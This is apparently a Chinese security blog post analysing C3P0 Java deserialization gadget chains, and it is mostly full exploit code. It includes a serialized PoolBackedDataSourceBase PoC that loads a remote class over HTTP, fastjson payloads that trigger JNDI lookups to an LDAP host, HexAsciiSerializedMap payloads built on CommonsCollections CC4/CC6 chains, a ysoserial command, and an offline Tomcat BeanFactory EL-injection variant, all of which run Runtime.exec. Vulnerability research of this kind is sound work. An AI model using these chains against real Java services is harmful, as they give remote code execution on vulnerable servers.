C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。
JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。
使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
<dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency>
1、URLClassLoader远程类加载
2、JNDI注入
3、利用HEX序列化字节加载器进行反序列化攻击
漏洞点在PoolBackedDataSourceBase
readobject
private void readObject( ObjectInputStream ois ) throws IOException, ClassNotFoundException { short version = ois.readShort(); switch (version) { case VERSION: // we create an artificial scope so that we can use the name o for all indirectly serialized objects. { Object o = ois.readObject(); if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject(); this.connectionPoolDataSource = (ConnectionPoolDataSource) o; } this.dataSourceName = (String) ois.readObject(); // we create an artificial scope so that we can use the name o for all indirectly serialized objects. { Object o = ois.readObject(); if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject(); this.extensions = (Map) o; } this.factoryClassLocation = (String) ois.readObject(); this.identityToken = (String) ois.readObject(); this.numHelperThreads = ois.readInt(); this.pcs = new PropertyChangeSupport( this ); this.vcs = new VetoableChangeSupport( this ); break; default: throw new IOException("Unsupported Serialized Version: " + version); } }
注意到
这里会先判断对象o是否是IndirectlySerialized
类的对象或者是其子类的对象
调用getobject
后强转换对象为ConnectionPoolDataSource
但是该接口并不能反序列化
去看下入口点writeobject
处的写法
writeobject
看下调用返回的对象
是一个ReferenceSerialized
的构造方法
举个不是很恰当的例子
ReferenceSerialized
是“加强版”的ConnectionPoolDataSource
也就是说在序列化时,实际上的类进行了转换,ConnectionPoolDataSource
->ReferenceSerialized
再回到readobject
调用的IndirectlySerialized.getobject
位于ReferenceIndirector
getObject
public Object getObject() throws ClassNotFoundException, IOException { try { Context initialContext; if ( env == null ) initialContext = new InitialContext(); else initialContext = new InitialContext( env ); Context nameContext = null; if ( contextName != null ) nameContext = (Context) initialContext.lookup( contextName ); return ReferenceableUtils.referenceToObject( reference, name, nameContext, env ); } catch (NamingException e) { //e.printStackTrace(); if ( logger.isLoggable( MLevel.WARNING ) ) logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e ); throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() ); } }
这里是对环境变量上下文进行加载
我们关注return这里ReferenceableUtils.referenceToObject
,跟进
public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env) throws NamingException { try { String fClassName = ref.getFactoryClassName(); String fClassLocation = ref.getFactoryClassLocation(); ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader(); if ( defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader(); ClassLoader cl; if ( fClassLocation == null ) cl = defaultClassLoader; else { URL u = new URL( fClassLocation ); cl = new URLClassLoader( new URL[] { u }, defaultClassLoader ); } Class fClass = Class.forName( fClassName, true, cl ); ObjectFactory of = (ObjectFactory) fClass.newInstance(); return of.getObjectInstance( ref, name, nameCtx, env ); } catch ( Exception e ) { if (Debug.DEBUG) { //e.printStackTrace(); if ( logger.isLoggable( MLevel.FINE ) ) logger.log( MLevel.FINE, "Could not resolve Reference to Object!", e); } NamingException ne = new NamingException("Could not resolve Reference to Object!"); ne.setRootCause( e ); throw ne; } }
我们可以控制fClassLocation
,最后通过URLClassLoader
并初始化该实例来实现恶意代码执行
PoolBackedDataSourceBase#readObject-> ReferenceIndirector#getObject-> ReferenceableUtils#referenceToObject-> of(ObjectFactory)#getObjectInstance
这里有个getReference
方法,直接返回一个Reference
对象
我们可以通过该方法直接构造对象
这里我们获取ConnectionPoolDataSource
类的私有属性,因为反序列化的是该类对象
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); connectionPoolDataSourceField.setAccessible(true);
按照getReference
方法再重写一个方法
public class C3P01 { public static class C3P0 implements ConnectionPoolDataSource, Referenceable{ @Override public Reference getReference() throws NamingException { return new Reference("Calc","Calc","http://127.0.0.1:8002/"); } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } }
最后是两个常规方法,序列化和反序列化,但这里我们还需要把构造好的connectionPoolDataSource
替换成我们本地的Calc
所以这里再通过
connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp); //将对象进行修改
并把它写在序列化入口,然后在反序列化
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; public class C3P01 { public static class C3P0 implements ConnectionPoolDataSource, Referenceable{ @Override public Reference getReference() throws NamingException { return new Reference("Calc","Calc","http://127.0.0.1:8002/"); } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } } public static void unserialize(byte[] bytes) throws Exception{ try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes); ObjectInputStream oin = new ObjectInputStream(bain)){ oin.readObject(); } } public static byte[] serialize(ConnectionPoolDataSource lp) throws Exception{ PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); connectionPoolDataSourceField.setAccessible(true); connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp); try(ByteArrayOutputStream baout = new ByteArrayOutputStream(); ObjectOutputStream oout = new ObjectOutputStream(baout)){ oout.writeObject(poolBackedDataSourceBase); return baout.toByteArray(); } } public static void main(String[] args) throws Exception{ C3P0 exp = new C3P0(); byte[] bytes = serialize(exp); unserialize(bytes); } }
calc
import java.io.IOException; public class Calc { public Calc() throws IOException { Runtime.getRuntime().exec("calc"); } }
本白一开始的傻帽操作,把文件放包下了,一直不能弹计算器,郁闷(真傻
JndiRefForwardingDataSource
的dereference()
方法中有look,并且jndiName
通过getJndiName()
获取,可造成JNDI注入
先看下getJnDIName
public Object getJndiName() { return (jndiName instanceof Name ? ((Name) jndiName).clone() : jndiName /* String */); }
判断是否是name类型,不是则返回String类型
继续向上找可以利用的点
inner()
找到setLoginRimeout
,形参为int
型
下面就是WrapperConnectionPoolDataSource
和JndiRefConnectionPoolDataSource
的同名函数
在JndiRefConnectionPoolDataSource
,setLoginTimeout
,因为wcpds
是WrapperConnectionPoolDataSource
类下的,所以这里会调用WrapperConnectionPoolDataSource
下的同名方法
这里会调用getNestedDataSource()
对象
跟进后发现其实就是JndiRefForwardingDataSource
在下一步就知道到这里
后面就会去加载我们传入的jndiName
JndiRefConnectionPoolDataSource#setLoginTime -> WrapperConnectionPoolDataSource#setLoginTime -> JndiRefForwardingDataSource#setLoginTimeout -> JndiRefForwardingDataSource#inner -> JndiRefForwardingDataSource#dereference() -> Context#lookup
import com.alibaba.fastjson.JSON; public class JNDI { public static void main(String[] args) { String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," + "\"jndiName\":\"ldap://10.6.42.156:8085/NpgoGBfd\",\"LoginTimeout\":\"1\"}"; JSON.parse(payload); } }
在WrapperConnectionPoolDataSource
的构造方法下
调用了C3P0ImplUtils.parseUserOverridesAsString
跟进
public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException { if (userOverridesAsString != null) { String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1); byte[] serBytes = ByteUtils.fromHexAscii( hexAscii ); return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) ); } else return Collections.EMPTY_MAP; }
当userOverridesAsString
不为空进入if
首先会用substring
对userOverridesAsString
进行截取,将HASM_HEADER
头和最后一位的;扣掉
而userOverridesAsString
是一个私有的常量
private final static String HASM_HEADER = "HexAsciiSerializedMap";
将十六进制转成字节数组,最后再强转为map
对象
跟进`fromByteArray
public static Object fromByteArray(byte[] bytes) throws IOException, ClassNotFoundException { Object out = deserializeFromByteArray( bytes ); if (out instanceof IndirectlySerialized) return ((IndirectlySerialized) out).getObject(); else return out; }
最后到
public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes)); return in.readObject(); }
进行反序列化
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource-> C3P0ImplUtils#parseUserOverridesAsString-> SerializableUtils#fromByteArray-> SerializableUtils#deserializeFromByteArray-> SerializableUtils
这里用CC4和CC6举例
import com.alibaba.fastjson.JSON; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.beans.PropertyVetoException; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.StringWriter; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class C3P0Hex_CC6 { public static Map exp() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException { Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Class.forName("java.lang.Runtime")), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap<Object,Object> hashMap1=new HashMap<>(); LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Atkx"); HashMap<Object,Object> hashMap2=new HashMap<>(); hashMap2.put(tiedMapEntry,"bbb"); lazyMap.remove("Atkx"); Class clazz=LazyMap.class; Field factoryField= clazz.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer); return hashMap2; } static void addHexAscii(byte b, StringWriter sw) { int ub = b & 0xff; int h1 = ub / 16; int h2 = ub % 16; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit(int h) { char out; if (h <= 9) out = (char) (h + 0x30); else out = (char) (h + 0x37); //System.err.println(h + ": " + out); return out; } //将类序列化为字节数组 public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); return bao.toByteArray(); } //字节数组转十六进制 public static String toHexAscii(byte[] bytes) { int len = bytes.length; StringWriter sw = new StringWriter(len * 2); for (int i = 0; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException { String hex = toHexAscii(tobyteArray(exp())); System.out.println(hex); //Fastjson<1.2.47 // String payload = "{" + // "\"1\":{" + // "\"@type\":\"java.lang.Class\"," + // "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" + // "}," + // "\"2\":{" + // "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + // "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + // "}" + // "}"; //低版本利用 String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + "}"; JSON.parse(payload); } }
import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.StringWriter; import com.alibaba.fastjson.JSON; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class C3P0Hex_CC4 { public static PriorityQueue CC4() throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesclass = templates.getClass(); //name字段 Field nameField = templatesclass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Atkx"); //恶意bytecode字段 Field bytecodeFiled = templatesclass.getDeclaredField("_bytecodes"); bytecodeFiled.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("H://Code/JavaSecurityCode/cc3/target/classes/calc.class")); byte[][] codes = {code}; bytecodeFiled.set(templates,codes); //工厂类字段 Field tfactoryField = templatesclass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl() { }); //调用transformer任意方法的接口,此处通过InstantiateTransformer代替InvokerTransformer InstantiateTransformer instantiateTransformer = new InstantiateTransformer( new Class[]{ Templates.class},new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); return priorityQueue; } static void addHexAscii(byte b, StringWriter sw) { int ub = b & 0xff; int h1 = ub / 16; int h2 = ub % 16; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit(int h) { char out; if (h <= 9) out = (char) (h + 0x30); else out = (char) (h + 0x37); //System.err.println(h + ": " + out); return out; } //将类序列化为字节数组 public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); return bao.toByteArray(); } //字节数组转十六进制 public static String toHexAscii(byte[] bytes) { int len = bytes.length; StringWriter sw = new StringWriter(len * 2); for (int i = 0; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } public static void main(String[] args) throws Exception { String hex = toHexAscii(tobyteArray(CC4())); System.out.println(hex); //Fastjson<1.2.47 // String payload = "{" + // "\"1\":{" + // "\"@type\":\"java.lang.Class\"," + // "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" + // "}," + // "\"2\":{" + // "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + // "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + // "}" + // "}"; //低版本利用 String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + "}"; JSON.parse(payload); } }
当然也可以使用CB链或其他链子
也可以通过加载反序列化对象来执行
java -jar .\ysoserial-all.jar CommonsCollections6 "open -a Calculator" > calc.ser
import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; public class C3P0_all { public static void main(String[] args) throws IOException, ClassNotFoundException { InputStream in = new FileInputStream("L:\\JavaSecurity\\ysoserial-0.0.6\\calc.ser"); byte[] data = toByteArray(in); in.close(); String HexString = bytesToHexString(data, data.length); System.out.println(HexString); } public static byte[] toByteArray(InputStream in) throws IOException { byte[] classBytes; classBytes = new byte[in.available()]; in.read(classBytes); in.close(); return classBytes; } public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length); for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); } sb.append(sTemp.toUpperCase()); } return sb.toString(); } }
得到十六进制,直接去执行即可
当目标机器不出网,且没有fastjson相关依赖时,C3P0该如何利用?
环境
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.0</version> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-el</artifactId> <version>8.5.15</version> </dependency>
漏洞点位于org.apache.naming.factory.BeanFactory
只有一个方法getObjectInstance
回顾第一个链子URL,会发现最后调用的就是该方法,而不出网的利用方式就是通过本地类的加载来进行EL表达式注入
将URL链子执行的地方改成EL表达式即可,其余不用变
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import org.apache.naming.ResourceRef; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.naming.StringRefAddr; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; public class C3P0_Local { public static class C3P0 implements ConnectionPoolDataSource, Referenceable { @Override public Reference getReference() throws NamingException { ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); resourceRef.add(new StringRefAddr("forceString", "faster=eval")); resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")")); return resourceRef; } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; } @Override public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } } public static void unserialize(byte[] bytes) throws Exception{ try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes); ObjectInputStream oin = new ObjectInputStream(bain)){ oin.readObject(); } } public static byte[] serialize(ConnectionPoolDataSource lp) throws Exception{ PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false); Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); connectionPoolDataSourceField.setAccessible(true); connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp); try(ByteArrayOutputStream baout = new ByteArrayOutputStream(); ObjectOutputStream oout = new ObjectOutputStream(baout)){ oout.writeObject(poolBackedDataSourceBase); return baout.toByteArray(); } } public static void main(String[] args) throws Exception{ C3P01.C3P0 exp = new C3P01.C3P0(); byte[] bytes = serialize(exp); unserialize(bytes); } }